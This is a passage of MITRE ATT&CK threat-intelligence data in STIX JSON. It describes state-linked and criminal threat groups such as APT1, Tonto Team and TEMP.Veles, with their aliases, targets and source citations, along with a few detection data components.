CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2021-05-26T12:23:48.842Z","name":"APT1","description":"[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Network Traffic Content","description":"Logged network traffic data showing both protocol header and body values (ex: PCAP)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Inception","Inception Framework","Cloud Atlas"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Skulkin, Group-IB"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","type":"intrusion-set","created":"2020-05-08T17:01:04.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0100","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0100"},{"source_name":"Inception","description":"(Citation: Symantec Inception Framework March 2018)"},{"source_name":"Inception Framework","description":"(Citation: Symantec Inception Framework March 2018)"},{"source_name":"Cloud Atlas","description":"(Citation: Kaspersky Cloud Atlas December 2014)"},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2021-10-12T23:21:06.480Z","name":"Inception","description":"[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. 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(2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."},{"source_name":"SecurityWeek Nomadic Octopus Oct 2018","url":"https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia","description":"Kovacs, E. (2018, October 18). Russia-Linked Hackers Target Diplomatic Entities in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:22:52.708Z","name":"Nomadic Octopus","description":"\n[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Silence","WHISPER SPIDER"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Skulkin, Group-IB"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","type":"intrusion-set","created":"2019-05-24T17:57:36.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0091","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0091"},{"source_name":"Silence","description":"(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) "},{"source_name":"WHISPER SPIDER","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/","source_name":"Cyber Forensicator Silence Jan 2019"},{"description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/","source_name":"SecureList Silence Nov 2017"},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2021-05-26T19:54:55.580Z","name":"Silence","description":"[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BRONZE BUTLER","REDBALDKNIGHT","Tick"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Trend Micro Incorporated"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0060","external_id":"G0060"},{"source_name":"BRONZE BUTLER","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"},{"source_name":"REDBALDKNIGHT","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"},{"source_name":"Tick","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","source_name":"Trend Micro Daserf Nov 2017"},{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."},{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2021-10-12T19:42:16.869Z","name":"BRONZE BUTLER","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Tonto Team","Earth Akhlut","BRONZE HUNTLEY","CactusPete","Karma Panda"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","type":"intrusion-set","created":"2021-05-05T17:18:25.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0131","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0131"},{"source_name":"Tonto Team","description":"(Citation: Talos Bisonal Mar 2020) "},{"source_name":"Earth Akhlut","description":"(Citation: TrendMicro Tonto Team October 2020)"},{"source_name":"BRONZE HUNTLEY","description":"(Citation: Secureworks BRONZE HUNTLEY )"},{"source_name":"CactusPete","description":"(Citation: Kaspersky CactusPete Aug 2020)"},{"source_name":"Karma Panda","description":"(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."},{"source_name":"FireEye Chinese Espionage October 2019","url":"https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf","description":"Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021."},{"source_name":"ARS Technica China Hack SK April 2017","url":"https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/","description":"Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021."},{"source_name":"Trend Micro HeartBeat Campaign January 2013","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?","description":"Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal 10 Years March 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."},{"source_name":"Secureworks BRONZE HUNTLEY ","url":"https://www.secureworks.com/research/threat-profiles/bronze-huntley","description":"Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021."},{"source_name":"CrowdStrike Manufacturing Threat July 2020","url":"https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/","description":"Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries’ Crosshairs. Retrieved October 17, 2021."}],"modified":"2022-01-27T17:51:41.433Z","name":"Tonto Team","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Cleaver","Threat Group 2889","TG-2889"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","type":"intrusion-set","created":"2017-05-31T21:31:46.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0003","external_id":"G0003"},{"source_name":"Cleaver","description":"(Citation: Cylance Cleaver)"},{"source_name":"Threat Group 2889","description":"(Citation: Dell Threat Group 2889)"},{"source_name":"TG-2889","description":"(Citation: Dell Threat Group 2889)"},{"source_name":"Cylance Cleaver","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"},{"url":"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/","description":"Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.","source_name":"Dell Threat Group 2889"}],"modified":"2021-10-12T19:34:36.092Z","name":"Cleaver","description":"[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Process Metadata","description":"Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["CopyKittens"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0052","external_id":"G0052"},{"source_name":"CopyKittens","description":"(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)"},{"url":"http://www.clearskysec.com/copykitten-jpost/","description":"ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.","source_name":"ClearSky CopyKittens March 2017"},{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2021-05-26T12:32:58.912Z","name":"CopyKittens","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)","x_mitre_version":"1.5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT-C-36","Blind Eagle"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jose Luis Sánchez Martinez"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","type":"intrusion-set","created":"2020-05-05T18:53:08.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0099","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0099"},{"source_name":"Blind Eagle","description":"(Citation: QiAnXin APT-C-36 Feb2019)"},{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2021-05-26T20:17:53.085Z","name":"APT-C-36","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-30T14:26:51.806Z","name":"Host Status","description":"Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)","x_mitre_data_source_ref":"x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Ferocious Kitten"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","type":"intrusion-set","created":"2021-09-28T17:41:12.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0137","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0137"},{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-25T14:28:10.337Z","name":"Ferocious Kitten","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Moafee"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f","type":"intrusion-set","created":"2017-05-31T21:31:46.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0002","external_id":"G0002"},{"source_name":"Moafee","description":"(Citation: Haq 2014)"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html","description":"Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Haq 2014"}],"modified":"2020-03-30T19:09:42.298Z","name":"Moafee","description":"[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Suckfly"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","created":"2017-05-31T21:32:06.777Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0039","url":"https://attack.mitre.org/groups/G0039"},{"source_name":"Suckfly","description":"(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)"},{"source_name":"Symantec Suckfly March 2016","url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016."},{"source_name":"Symantec Suckfly May 2016","url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)","modified":"2022-04-15T16:27:38.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Suckfly","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TEMP.Veles","XENOTIME"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","type":"intrusion-set","created":"2019-04-16T15:14:38.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/groups/G0088","source_name":"mitre-attack","external_id":"G0088"},{"source_name":"TEMP.Veles","description":"(Citation: FireEye TRITON 2019)"},{"source_name":"XENOTIME","description":"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind [TRITON](https://attack.mitre.org/software/S0609) .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )"},{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"},{"description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ","source_name":"FireEye TEMP.Veles 2018"},{"source_name":"FireEye TEMP.Veles JSON April 2019","url":"https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html","description":"Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019."},{"description":"Dragos, Inc.. (n.d.). Xenotime. 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The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"Firmware Modification","description":"Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)","x_mitre_data_source_ref":"x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BackdoorDiplomacy"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Zaw Min Htun, @Z3TAE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","type":"intrusion-set","created":"2021-09-21T14:52:49.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0135","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0135"},{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. 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[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN5"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0053","external_id":"G0053"},{"source_name":"FIN5","description":"(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"FireEye Respond Webinar July 2017","description":"Scavella, T. and Rifki, A. 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[Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 